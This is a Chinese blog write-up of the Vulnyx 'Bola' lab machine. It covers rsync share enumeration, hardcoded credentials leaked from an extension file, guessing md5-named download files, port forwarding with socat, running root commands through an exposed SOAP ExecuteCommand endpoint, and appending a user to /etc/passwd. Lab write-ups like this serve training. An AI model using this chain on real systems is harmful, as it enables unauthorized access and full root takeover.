banner
言心吾

言心吾のBlog

吾言为心声

Vulnyx靶场复盘 - Bola

image

信息收集#

首先使用 Nmap 进行端口扫描,目标 IP 为 192.168.56.51,扫描结果如下:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# cat nmapscan/detail  
# Nmap 7.95 scan initiated Fri Feb  7 15:47:02 2025 as: /usr/lib/nmap/nmap -sC -sV -p22,80,873 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.51
Nmap scan report for 192.168.56.51
Host is up (0.00094s latency).

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Did not follow redirect to http://bola.nyx
|_http-server-header: Apache/2.4.62 (Debian)
873/tcp open  rsync   (protocol version 32)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到:

  • 端口 80 运行着 Apache 2.4.62,访问后发现会自动跳转至 http://bola.nyx/,因此需要在 /etc/hosts 添加解析:

    192.168.56.51 bola.nyx
    
  • 端口 873 运行 rsync,可能存在未授权访问或敏感文件泄露。


Web 端初步探测#

使用 curl 直接请求 80 端口,确认跳转逻辑:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# curl -v 192.168.56.51

返回 302 跳转至 http://bola.nyx/,打开页面后是一个登录界面,尝试注册发现无效,只能暂时放弃 web 了。

image


Rsync 服务利用#

由于 rsync 可能会暴露敏感文件,编写简单脚本进行共享目录枚举:

for i in $(cat /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt); do 
    echo $i
    rsync -av --list-only rsync://192.168.56.51/$i 2>&1 | grep -Pv 'Unknown|error'
done

image

(眼神好一点) 最终在 extensions 目录下发现文件,直接同步到本地:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# rsync -av rsync://192.168.56.51/extensions ./rsync

在下载的 rsync 目录中 grep 关键字 password,成功发现硬编码的凭据:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# grep -nir password ./rsync
./rsync/background.js:4: { site: "bola.nyx", username: "[email protected]", password: "sbIJ0x9g{C3`" }

Web 后台访问#

拿到凭据 [email protected] / sbIJ0x9g{C3 后,尝试登录 http://bola.nyx/admin/admin.php,发现后台就给了一个 PDF 文件下载连接,其他啥也没有。简单浏览下 PDF ,发现是介绍 WSDL Server 的,猜测后续突破口可能与 WSDL 接口渗透有关。

WSDL(Web Services Description Language) 是一种基于 XML 的 Web 服务描述语言,通常用于 SOAP 通信。

此外,PDF 文件的下载地址为:

http://bola.nyx/download.php?file_name=115a2cf084dd7e70a91187f799a7d5a8.pdf

尝试文件包含,Fuzz 下路径和扩展名,注意带上刚才登录的 cookie:

wfuzz -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-extensions.txt -u http://bola.nyx/download.php?file_name=FUZZ.FUZ2Z  -H "Cookie: PHPSESSID=9j7shv4e58ahnemep2p5vld4ed" --hw 5

无果。

然后 dirsearch 扫了一遍,发现有新东西:

0621048edb824d6d0ddd5d38f310f37f

http://bola.nyx/.well-known/openid-configuration

openid-configuration 是 OAuth 2.0 - OpenID Connect 的配置文件。

image

给了很多信息,一时不知道怎么利用,思路断了。

后来才知道 PDF 文件名是 md5 加密的字符串,可以解出来,但我尝试了好几个 md5 解密网站都失败了,cmd5 又需要付费,这里直接贴出结果:jackie0x17

验证一下:

┌──(root㉿kali)-[~/vulnyx/bola]
└─# echo -n jackie0x17 |md5sum
115a2cf084dd7e70a91187f799a7d5a8  -

由此推测,可能还有其他用户名对应的 PDF,尝试计算:

echo -n "d4t4s3c" | md5sum
97035ded598faa2ce8ff63f7f9dd3b70  -

echo -n "ct0l4" | md5sum
4a8f81d01d65d3468955191045816c85  -

用上面第一个成功下载新的 PDF——《WSDL Server VulNyx - How to Connect》,并找到以下代码:

"""
Example with Python and Spyne
An example of how to implement a WSDL server in Python using Spyne
"""


from spyne import Application, rpc, ServiceBase, String
from spyne.protocol.soap import Soap11
from spyne.server.wsgi import WsgiApplication
class LoginService(ServiceBase):
@rpc(String, String, _returns=String)
def login(ctx, username, password):
if username == "admin" and password ==
"VulNyxtestinglogin123":
return "Login successful"
return "Invalid credentials"
app = Application([LoginService], 'http://bola.nyx:9000/wsdl',
in_protocol=Soap11(validator='lxml'),
out_protocol=Soap11())
server = WsgiApplication(app)
from wsgiref.simple_server import make_server
if __name__ == '__main__':
server = make_server('localhost', 9000, server)
print("WSDL Server running at http://localhost:9000")
server.serve_forever()

其中 admin 账户的密码为:VulNyxtestinglogin123。经验证得到一组 ssh 凭据:d4t4s3c:VulNyxtestinglogin123

d4t4s3c@bola:~$ id
uid=1000(d4t4s3c) gid=1000(pijusmagnifikus) groups=1000(pijusmagnifikus),1003(d4t4s3c)
d4t4s3c@bola:~$ ls
user.txt

至此就拿到了 User Flag。

提权#

确认目标端口信息#

使用 ss -plntu 命令查看当前监听的端口:

d4t4s3c@bola:~$ ss -plntu
Netid  State   Recv-Q Send-Q  Local Address:Port  Peer Address:Port  Process      
udp    UNCONN  0      0       0.0.0.0:68         0.0.0.0:*                      
tcp    LISTEN  0      128     0.0.0.0:22         0.0.0.0:*                      
tcp    LISTEN  0      80      127.0.0.1:3306     0.0.0.0:*                      
tcp    LISTEN  0      5       127.0.0.1:9000     0.0.0.0:*                      
tcp    LISTEN  0      5       0.0.0.0:873        0.0.0.0:*                      
tcp    LISTEN  0      511     *:80               *:*                      
tcp    LISTEN  0      128     [::]:22            [::]:*                      
tcp    LISTEN  0      5       [::]:873           [::]:*  

发现 9000 端口 运行的是 WSDL 服务,但仅在本地监听。


端口转发#

由于 9000 端口未对外暴露,使用 socat 进行端口转发,使其外部可访问:

socat TCP-LISTEN:8000,fork TCP4:127.0.0.1:9000 &

现在可以通过 http://192.168.56.51:8000/wsdl 访问 WSDL 服务。


WSDL 服务分析#

访问 WSDL,发现其接口定义:

<definitions name="VulNyxSOAP"
   targetNamespace="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns="http://schemas.xmlsoap.org/wsdl/"
   xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
   xmlns:tns="http://localhost/wsdl/VulNyxSOAP.wsdl"
   xmlns:xsd="http://www.w3.org/2001/XMLSchema">

   <message name="LoginRequest">
      <part name="username" element="username"/>
      <part name="password" element="password"/>
   </message>

   <message name="ExecuteCommandRequest">
      <part name="cmd" element="cmd"/>
   </message>

   <portType name="VulNyxSOAPPortType">
      <operation name="ExecuteCommand">
         <input message="tns:ExecuteCommandRequest"/>
         <output message="tns:ExecuteCommandResponse"/>
      </operation>
   </portType>

   <binding name="VulNyxSOAPBinding" type="tns:VulNyxSOAPPortType">
      <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/>
      <operation name="ExecuteCommand">
         <soap:operation soapAction="ExecuteCommand"/>
         <input><soap:body use="literal"/></input>
         <output><soap:body use="literal"/></output>
      </operation>
   </binding>

   <service name="VulNyxSOAP">
      <port binding="tns:VulNyxSOAPBinding" name="VulNyxSOAPPort">
         <soap:address location="http://localhost:9000/wsdl/" />
      </port>
   </service>
</definitions>

具体定义可以 curl http://192.168.56.51:8000/wsdl/VulNyxSOAP.wsdl

并发现 ExecuteCommandRequest 可执行命令,疑似 RCE 漏洞。

我这里使用 ReadyAPI 自动构造 SOAP 请求,下面图示为具体操作步骤:

image

image

image

image

image

就添加好了。

选择 ExecuteCommand ,在 cmd 参数中输入命令,发现成功执行命令:

image

可以看到 id 已经是 root 的了。

接下来反弹 shell 或者直接读 flag 就行了。

我的方案是向 /etc/passwd 追加一个用户,然后直接切换即可:

image


此外,我还尝试使用国产 API 测试软件 Apifox,但由于其对 WSDL 的支持较为有限,无法自动构造 SOAP 请求,因此未能成功进行接口测试。不过,仍然希望国产软件能够不断进步,未来在更多安全测试场景中发挥作用!

还是补一下使用方法:

首先 CTRL+O 导入数据:
68cf44d26da50fd408f2cd950935a0ce

目前 Apifox 并不直接支持通过 URL 导入 WSDL 文件,仅支持上传本地的 WSDL 文件。

wget http://IP:8000?wsdl -O service.wsdl
然后拖过去即可。

成功导入的效果:
image

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。